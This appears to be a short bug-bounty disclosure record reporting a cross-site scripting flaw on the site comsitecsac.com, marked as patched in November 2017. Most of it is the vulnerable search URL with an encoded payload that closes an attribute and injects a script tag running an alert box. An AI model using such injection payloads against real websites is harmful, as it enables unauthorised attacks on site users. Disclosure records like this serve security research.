comsitecsac.com XSS vulnerability

Vulnerable URL: http://comsitecsac.com/buscar/?cx=008409675727628150898%3Aqbvuiltjdzy=FORID%3A10=UTF-8=%27%22%2F%3E%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:4...